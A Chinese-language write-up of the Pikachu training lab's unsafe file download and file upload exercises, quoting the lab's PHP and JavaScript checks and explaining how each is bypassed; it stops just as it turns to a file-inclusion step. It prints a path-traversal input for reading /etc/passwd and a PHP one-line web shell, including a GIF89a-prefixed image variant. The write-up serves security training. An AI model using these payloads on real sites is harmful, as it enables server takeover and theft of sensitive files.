pikachu-文件下载、文件上传
不安全的文件下载:
介绍:
文件下载功能在很多web系统上都会出现,一般我们当点击下载链接,便会向后台发送一个下载请求,一般这个请求会包含一个需要下载的文件名称,后台在收到请求后
会开始执行下载代码,将该文件名对应的文件response给浏览器,从而完成下载。
如果后台在收到请求的文件名后,将其直接拼进下载文件的路径中而不对其进行安全判断的话,则可能会引发不安全的文件下载漏洞。
此时如果 攻击者提交的不是一个程序预期的的文件名,而是一个精心构造的路径(比如../../../etc/passwd),则很有可能会直接将该指定的文件下载下来。
从而导致后台敏感信息(密码文件、源代码等)被下载。
查看代码:
// $file_name="cookie.jpg"; $file_path="download/{$_GET['filename']}"; //用以解决中文不能显示出来的问题 $file_path=iconv("utf-8","gb2312",$file_path); //首先要判断给定的文件存在与否 if(!file_exists($file_path)){ skip("你要下载的文件不存在,请重新下载", 'unsafe_down.php'); return ; }
查看图片的下载路径:
可以在execdownload.php通过传入的filename下载文件,通过构造filename就可以下载其他文件,这样就会导致源码泄露和敏感信息泄露
文件上传:
1、upload_client:
查看代码:
<script> function checkFileExt(filename) { var flag = false; //状态 var arr = ["jpg","png","gif"]; //取出上传文件的扩展名 var index = filename.lastIndexOf("."); var ext = filename.substr(index+1); //比较 for(var i=0;i<arr.length;i++) { if(ext == arr[i]) { flag = true; //一旦找到合适的,立即退出循环 break; } } //条件判断 if(!flag) { alert("上传的文件不符合要求,请重新选择!"); location.reload(true); } } </script>
这里是采用jsp对文件的后缀名进行抓取识别,如果后缀名是符合jpg、png、gif的文件才能将图片选中,这里可以先将文件后缀名改为1.jpg,在点击上传的时候再抓包进行修改:
使用一句话木马,成功执行:
<?php @eval($_POST['shell']); ?>
2、MIME Type
查看代码:
if(isset($_POST['submit'])){ // var_dump($_FILES); $mime=array('image/jpg','image/jpeg','image/png');//指定MIME类型,这里只是对MIME类型做了判断。 $save_path='uploads';//指定在当前目录建立一个目录 $upload=upload_sick('uploadfile',$mime,$save_path);//调用函数 if($upload['return']){ $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['new_path']}</p>"; }else{ $html.="<p class=notice>{$upload['error']}</p>"; } }
函数upload_sick跟进:
function upload_sick($key,$mime,$save_path){ $arr_errors=array( 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值', 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', 3=>'文件只有部分被上传', 4=>'没有文件被上传', 6=>'找不到临时文件夹', 7=>'文件写入失败' ); if(!isset($_FILES[$key]['error'])){ $return_data['error']='请选择上传文件!'; $return_data['return']=false; return $return_data; } if ($_FILES[$key]['error']!=0) { $return_data['error']=$arr_errors[$_FILES[$key]['error']]; $return_data['return']=false; return $return_data; } //验证一下MIME类型 if(!in_array($_FILES[$key]['type'], $mime)){ $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!'; $return_data['return']=false; return $return_data; } //新建一个保存文件的目录 if(!file_exists($save_path)){ if(!mkdir($save_path,0777,true)){ $return_data['error']='上传文件保存目录创建失败,请检查权限!'; $return_data['return']=false; return $return_data; } } $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠 if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){ $return_data['error']='临时文件移动失败,请检查权限!'; $return_data['return']=false; return $return_data; } //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去) $return_data['new_path']=$save_path.$_FILES[$key]['name']; $return_data['return']=true; return $return_data; }
对传入文件MIME Type进行检查,是否符合图片的类型,对我们上传的php文件进行MIME Type进行修改
3、getimagesize()
查看代码:
if(isset($_POST['submit'])){ $type=array('jpg','jpeg','png');//指定类型 $mime=array('image/jpg','image/jpeg','image/png'); $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹 $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数 if($upload['return']){ $html.="<p class='notice'>文件上传成功</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>"; }else{ $html.="<p class=notice>{$upload['error']}</p>"; } }
函数upload跟进:
function upload_sick($key,$mime,$save_path){ $arr_errors=array( 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值', 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', 3=>'文件只有部分被上传', 4=>'没有文件被上传', 6=>'找不到临时文件夹', 7=>'文件写入失败' ); if(!isset($_FILES[$key]['error'])){ $return_data['error']='请选择上传文件!'; $return_data['return']=false; return $return_data; } if ($_FILES[$key]['error']!=0) { $return_data['error']=$arr_errors[$_FILES[$key]['error']]; $return_data['return']=false; return $return_data; } //验证一下MIME类型 if(!in_array($_FILES[$key]['type'], $mime)){ $return_data['error']='上传的图片只能是jpg,jpeg,png格式的!'; $return_data['return']=false; return $return_data; } //新建一个保存文件的目录 if(!file_exists($save_path)){ if(!mkdir($save_path,0777,true)){ $return_data['error']='上传文件保存目录创建失败,请检查权限!'; $return_data['return']=false; return $return_data; } } $save_path=rtrim($save_path,'/').'/';//给路径加个斜杠 if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){ $return_data['error']='临时文件移动失败,请检查权限!'; $return_data['return']=false; return $return_data; } //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去) $return_data['new_path']=$save_path.$_FILES[$key]['name']; $return_data['return']=true; return $return_data; } //进行了严格的验证 function upload($key,$size,$type=array(),$mime=array(),$save_path){ $arr_errors=array( 1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值', 2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值', 3=>'文件只有部分被上传', 4=>'没有文件被上传', 6=>'找不到临时文件夹', 7=>'文件写入失败' ); // var_dump($_FILES); if(!isset($_FILES[$key]['error'])){ $return_data['error']='请选择上传文件!'; $return_data['return']=false; return $return_data; } if ($_FILES[$key]['error']!=0) { $return_data['error']=$arr_errors[$_FILES[$key]['error']]; $return_data['return']=false; return $return_data; } //验证上传方式 if(!is_uploaded_file($_FILES[$key]['tmp_name'])){ $return_data['error']='您上传的文件不是通过 HTTP POST方式上传的!'; $return_data['return']=false; return $return_data; } //获取后缀名,如果不存在后缀名,则将变量设置为空 $arr_filename=pathinfo($_FILES[$key]['name']); if(!isset($arr_filename['extension'])){ $arr_filename['extension']=''; } //先验证后缀名 if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写,在比较 $return_data['error']='上传文件的后缀名不能为空,且必须是'.implode(',',$type).'中的一个'; $return_data['return']=false; return $return_data; } //验证MIME类型,MIME类型可以被绕过 if(!in_array($_FILES[$key]['type'], $mime)){ $return_data['error']='你上传的是个假图片,不要欺骗我xxx!'; $return_data['return']=false; return $return_data; } //通过getimagesize来读取图片的属性,从而判断是不是真实的图片,还是可以被绕过的 if(!getimagesize($_FILES[$key]['tmp_name'])){ $return_data['error']='你上传的是个假图片,不要欺骗我!'; $return_data['return']=false; return $return_data; } //验证大小 if($_FILES[$key]['size']>$size){ $return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)'; $return_data['return']=false; return $return_data; } //把上传的文件给他搞一个新的路径存起来 if(!file_exists($save_path)){ if(!mkdir($save_path,0777,true)){ $return_data['error']='上传文件保存目录创建失败,请检查权限!'; $return_data['return']=false; return $return_data; } } //生成一个新的文件名,并将新的文件名和之前获取的扩展名合起来,形成文件名称 $new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true)); if($arr_filename['extension']!=''){ $arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存 $new_filename.=".{$arr_filename['extension']}"; } //将tmp目录里面的文件拷贝到指定目录下并使用新的名称 $save_path=rtrim($save_path,'/').'/'; if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){ $return_data['error']='临时文件移动失败,请检查权限!'; $return_data['return']=false; return $return_data; } //如果以上都通过了,则返回这些值,存储的路径,新的文件名(不要暴露出去) $return_data['save_path']=$save_path.$new_filename; $return_data['filename']=$new_filename; $return_data['return']=true; return $return_data; }
这里会使用getimagesize()来读取图片信息,我们可以通过添加一个图片头来伪造绕过:
GIF89a <?php @eval($_POST['shell']); ?>
因为图片马需要文件包含才能执行,所以配合上之前一个文件包含漏洞,执行传入的payload: